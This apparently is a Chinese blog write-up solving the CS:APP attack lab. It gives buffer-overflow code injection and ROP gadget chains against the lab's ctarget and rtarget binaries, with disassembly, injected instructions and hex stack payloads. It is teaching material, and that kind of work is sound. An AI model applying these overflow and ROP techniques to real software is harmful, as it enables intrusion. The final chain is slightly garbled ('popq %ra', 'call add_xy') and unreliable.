[lab]csapp-attack
Target1
本lab主要练习的是针对 gets 的缓存溢出攻击, 这里记录本人解题的过程和思路.
由于 gets 不能指定缓存大小, 因此在输入超过缓冲区后, 就会覆盖掉堆栈, 而堆栈存放的信息又十分关键, 特别是函数的返回地址, 因此我们可以轻易的覆盖为我们想要返回的地址, 进而达到攻击的目的.
不同于前几个 lab 十分直白, 这个 lab 的描述文件还是十分重要的, 也会有解题的思路.
它给出了 ctarget/rtarget 两个目标文件, 分别是两种不同的攻击方式, 它们都调用 gets 函数, lab 要求我们通过溢出攻击达到执行指定函数的目的
ctarget-touch1
这几个目标的入口流程都是一致的, getbuf 进行输入.
和bomb lab一样, 我们需要通过 objdump 对 elf文件获取汇编指令和地址.
根据提示, 我们要确定buf的长度, 和返回值覆盖到栈的位置.
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 subq $40, %rsp
4017ac: 48 89 e7 movq %rsp, %rdi
4017af: e8 8c 02 00 00 callq 0x401a40 <Gets>
4017b4: b8 01 00 00 00 movl $1, %eax
4017b9: 48 83 c4 28 addq $40, %rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
subq $40, %rsp 在栈上分配40字节的空间, touch1 要求我们执行 touch1 函数即可, 因此我们考虑输入40个任意字节, 然后输入 touch1 的地址, 这样retq 就会返回到touch1函数执行.
ctarget-touch2
相较于 touch1 , touch2 接受一个 int 参数, lab 要求参数是给定的cookie, 我们知道第一个参数是通过 %edi 传递的, 但继续覆盖缓冲区只能破坏到内存.
这是我们就需要利用输入的字符, 即直接编码后的汇编指令, 然后ret返回到缓冲区上, 达到执行任意指令的目的. 我们需要3条指令
mov $0x59b997fa,%rdi # 设置参数1 为 cookie
pushq $0x4017ec # 设置touch2 为跳转地址
ret # 跳转到 touch2
ctarget-touch3
touch3 接受参数从 int 变为了字符串, 思路与 touch2 类似, 我们将字符串也输入到 buf里, gdb x/s %rsp 查看字符串的地址, 然后将 rdi 设置成这个地址.
mov $0x5561dc90,%rdi # 字符串的开始地址
sub $40, %rsp # 这里要将我们的栈空间保留下来, 不然后面函数会覆盖掉
pushq $0x4018fa
ret # 跳转到 touch3
rtarget-touch2
rtarget 中, 启用了栈随机化(每次进入栈起始点都会不一样), 和地址保护(非代码区不能再当作指令解释), 我们向 buf 中注入汇编指令不再起作用, 描述文件提供了 return-oriented programming(ROP) 方法.
该方法的思路是, 虽然不能再注入汇编指令, 但因为指令是变长的, 指令序列的不同部分又可以解释为新指令, 我们可以利用现有代码的数据, 以 c3(ret) 为终点, 向前构造一个指令, 由于我们还是可以构造出自己想要的栈, 那么假如目标文件足够大, 包含足够多的指令, 我们还是可以从中构造出自己想要执行的指令序列.
这时就要使用 farm.c , 它包含了一系列看起来无意义的函数, 但我们可以根据上述思路从中重新构造可以执行的指令, 下面是我手动构造出来的所有可行 movq/popq 指令 (当然这一步也可以交给程序来扫描).
addval_273
4019a2: movq %rax %rdi
addval_219
4019ab: popq %rax
getval_481
4019dd: movl %eax %edx
addval_190
401a06: movq %rsp %rax
addval_436
401a13: movl %ecx %esi
getval_159
401a34: movl %edx %ecx
我们首先要再一次 携带 cookie 调用 touch2, 根据提示我们只需要三条指令
popq %rax # 将事先存在栈里的 cookie 取到 rax
movq %rax %rdi # rdi = rax
ret
因此构造出来的栈如下
... # 省略让缓冲区溢出的部分
ab 19 40 00 00 00 00 00 /* addr of 4019ab popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* movq %rax %rdi */
ec 17 40 00 00 00 00 00 /* ret */
rtarget-touch3
这一步需要再次调用 touch3, 这里我搜索其他博客的做法, 发现除了提示给出的指令还需要一个能够做加法的指令, 因为我们的字符串存在了栈上, 需要相对地址来访问, 而 farm.c 里刚好有个函数满足我们的需求.
add_xy
4019d6: leaq (%rdi,%rsi), %rax
现在涉及到的指令比较多, 我们将可以进行的寄存器间的赋值列一下
sp => ax => dx => cx => si
||
=> di
di+si => ax
可以di + si 就可以得到字符串地址, 再将它赋给 di 就行, 这里注意到si的链路有 movl, 不够复制地址, 因此 si 就是偏移量, di 就是 sp 原地址即可.
popq %ra
const dis to token string
movl %eax %edx
movl %edx %ecx
movl %ecx %esi # si = offset
movq %rsp %rax
movq %rax %rdi # rdi = sp
call add_xy
movq %rax %rdi # rdi = sp + offset
ret
token string
很有意思的一个lab, 也锻炼了gdb 查看内存的能力.

浙公网安备 33010602011771号